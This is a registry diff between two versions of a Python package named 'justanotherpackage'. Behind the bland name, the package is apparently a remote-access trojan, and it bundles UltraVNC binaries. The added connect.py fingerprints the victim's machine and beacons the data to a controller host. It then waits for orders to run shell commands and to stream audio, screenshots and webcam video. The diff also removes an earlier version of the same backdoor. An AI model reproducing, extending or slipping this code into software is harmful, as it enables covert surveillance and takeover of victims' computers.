justanotherpackage 0.1.9__tar.gz → 0.2.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (22) hide show
  1. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/PKG-INFO +1 -1
  2. justanotherpackage-0.2.1/justanotherpackage/account_type.py +10 -0
  3. justanotherpackage-0.2.1/justanotherpackage/connect.py +105 -0
  4. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage.egg-info/PKG-INFO +1 -1
  5. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage.egg-info/SOURCES.txt +2 -1
  6. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/setup.py +1 -1
  7. justanotherpackage-0.1.9/justanotherpackage/connect.py +0 -92
  8. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/MANIFEST.in +0 -0
  9. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/__init__.py +0 -0
  10. /justanotherpackage-0.1.9/justanotherpackage/core.py → /justanotherpackage-0.2.1/justanotherpackage/shell.py +0 -0
  11. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  12. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  13. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  14. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  15. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  16. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/ddengine.dll +0 -0
  17. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/logging.dll +0 -0
  18. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/vnchooks.dll +0 -0
  19. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage/vnc/winvnc.exe +0 -0
  20. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  21. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/justanotherpackage.egg-info/top_level.txt +0 -0
  22. {justanotherpackage-0.1.9 → justanotherpackage-0.2.1}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.9
3
+ Version: 0.2.1
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -0,0 +1,10 @@
1
+ import ctypes
2
+
3
+ def check_account_type():
4
+ try:
5
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
6
+ return "Admin"
7
+ else:
8
+ return "User"
9
+ except Exception:
10
+ return "None"
@@ -0,0 +1,105 @@
1
+ import socket
2
+ import time
3
+ import platform
4
+ import requests
5
+ from wmi import WMI
6
+ import json
7
+ import threading
8
+ from .shell import create_shell
9
+ from .features.audio import start_audio_stream
10
+ from .features.terminal import terminal
11
+ from .features.screenshot import send_screenshot
12
+ from .features.webcam import send_webcam_stream
13
+ from .account_type import check_account_type
14
+
15
+ def get_client_info():
16
+ system = platform.system()
17
+ version = platform.version().split('.')[0]
18
+ os = f"{system} {version}"
19
+ try:
20
+ response = requests.get('https://ipv4.jsonip.com', timeout=5)
21
+ data = response.json()
22
+ ip = data.get('ip')
23
+ response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
24
+ data = response.json()
25
+ country_en = data['country']['names']['en']
26
+ except:
27
+ ip = None
28
+ country_en = None
29
+
30
+ shell, stdout_queue, stderr_queue = create_shell()
31
+
32
+ client_info = {
33
+ "new_client": {
34
+ "IP": ip,
35
+ "PC Name": platform.node(),
36
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
37
+ "OS": os,
38
+ "Account Type": check_account_type(),
39
+ "Country": country_en,
40
+ },
41
+ "shell": shell,
42
+ "stdout_queue": stdout_queue,
43
+ "stderr_queue": stderr_queue
44
+ }
45
+ return client_info
46
+
47
+ def start_connection(HOST, PORT):
48
+ client_info = None
49
+ shell = None
50
+ stdout_queue = None
51
+ stderr_queue = None
52
+
53
+ while True:
54
+ try:
55
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
56
+ client_socket.connect((HOST, PORT))
57
+
58
+ if client_info is None:
59
+ client_info = get_client_info()
60
+ shell = client_info.pop('shell')
61
+ stdout_queue = client_info.pop('stdout_queue')
62
+ stderr_queue = client_info.pop('stderr_queue')
63
+
64
+ client_info_json = json.dumps(client_info)
65
+ client_socket.sendall(client_info_json.encode('utf-8'))
66
+
67
+ while True:
68
+ data = client_socket.recv(1024).decode('utf-8').strip()
69
+ if not data:
70
+ break
71
+
72
+ try:
73
+ data = json.loads(data)
74
+ except json.JSONDecodeError:
75
+ continue
76
+
77
+ if data.get("audiostream") is not None:
78
+ thread = threading.Thread(target=start_audio_stream, args=(client_socket,))
79
+ thread.daemon = True
80
+ thread.start()
81
+
82
+ elif data.get("terminal") is not None:
83
+ thread = threading.Thread(target=terminal, args=(data, client_socket, shell, stdout_queue, stderr_queue))
84
+ thread.daemon = True
85
+ thread.start()
86
+
87
+ elif data.get("screenshot") is not None:
88
+ thread = threading.Thread(target=send_screenshot, args=(client_socket,))
89
+ thread.daemon = True
90
+ thread.start()
91
+
92
+ elif data.get("webcam") is not None:
93
+ thread = threading.Thread(target=send_webcam_stream, args=(client_socket,))
94
+ thread.daemon = True
95
+ thread.start()
96
+
97
+ except (socket.error, ConnectionResetError):
98
+ time.sleep(1)
99
+ continue
100
+ except Exception as e:
101
+ time.sleep(1)
102
+ continue
103
+ finally:
104
+ if client_socket:
105
+ client_socket.close()
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.9
3
+ Version: 0.2.1
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,8 +1,9 @@
1
1
  MANIFEST.in
2
2
  setup.py
3
3
  justanotherpackage/__init__.py
4
+ justanotherpackage/account_type.py
4
5
  justanotherpackage/connect.py
5
- justanotherpackage/core.py
6
+ justanotherpackage/shell.py
6
7
  justanotherpackage.egg-info/PKG-INFO
7
8
  justanotherpackage.egg-info/SOURCES.txt
8
9
  justanotherpackage.egg-info/dependency_links.txt
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.9",
5
+ version="0.2.1",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1,92 +0,0 @@
1
-
2
- import socket
3
- import time
4
- import platform
5
- import ctypes
6
- import requests
7
- from wmi import WMI
8
- from .core import create_shell
9
- import json
10
-
11
- def check_account_type():
12
- try:
13
- if ctypes.windll.shell32.IsUserAnAdmin() != 0:
14
- return "Admin"
15
- else:
16
- return "User"
17
- except Exception:
18
- return "None"
19
-
20
- def get_client_info():
21
- system = platform.system()
22
- version = platform.version().split('.')[0]
23
- os = f"{system} {version}"
24
- response = requests.get('https://ipv4.jsonip.com', timeout=5)
25
- data = response.json()
26
- ip = data.get('ip')
27
- response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
28
- data = response.json()
29
- country_en = data['country']['names']['en']
30
-
31
- client_info = { "new_client": {
32
- "IP": ip,
33
- "PC Name": platform.node(),
34
- "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
35
- "OS": os,
36
- "Account Type": check_account_type(),
37
- "Country": country_en,
38
- "Tag": "Remote PC",
39
- }
40
- }
41
- return client_info
42
-
43
- def start_connection(HOST, PORT):
44
- while True:
45
- try:
46
- client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
47
- client_socket.connect((HOST, PORT))
48
- client_info = get_client_info()
49
- client_socket.sendall(str(client_info).encode('utf-8'))
50
-
51
- while True:
52
- data = client_socket.recv(1024).decode('utf-8').strip()
53
- if not data:
54
- break
55
-
56
- if data.get("terminal") is not None:
57
- terminal(data, client_socket)
58
-
59
- except (socket.error, ConnectionResetError):
60
- time.sleep(1)
61
-
62
- finally:
63
- client_socket.close()
64
-
65
-
66
- def terminal(data, client_socket):
67
- shell, stdout_queue, stderr_queue = create_shell()
68
-
69
- if isinstance(data, str):
70
- try:
71
- data = json.loads(data)
72
- except json.JSONDecodeError:
73
- data = data
74
- else:
75
- data = json.dumps(data)
76
-
77
- data = data["terminal"]
78
-
79
- shell.stdin.write(data + "\n")
80
- shell.stdin.flush()
81
-
82
- time.sleep(0.5)
83
- output = ""
84
-
85
- while not stdout_queue.empty() or not stderr_queue.empty():
86
- while not stdout_queue.empty():
87
- output += stdout_queue.get_nowait()
88
- while not stderr_queue.empty():
89
- output += stderr_queue.get_nowait()
90
-
91
- client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
92
- shell.terminate()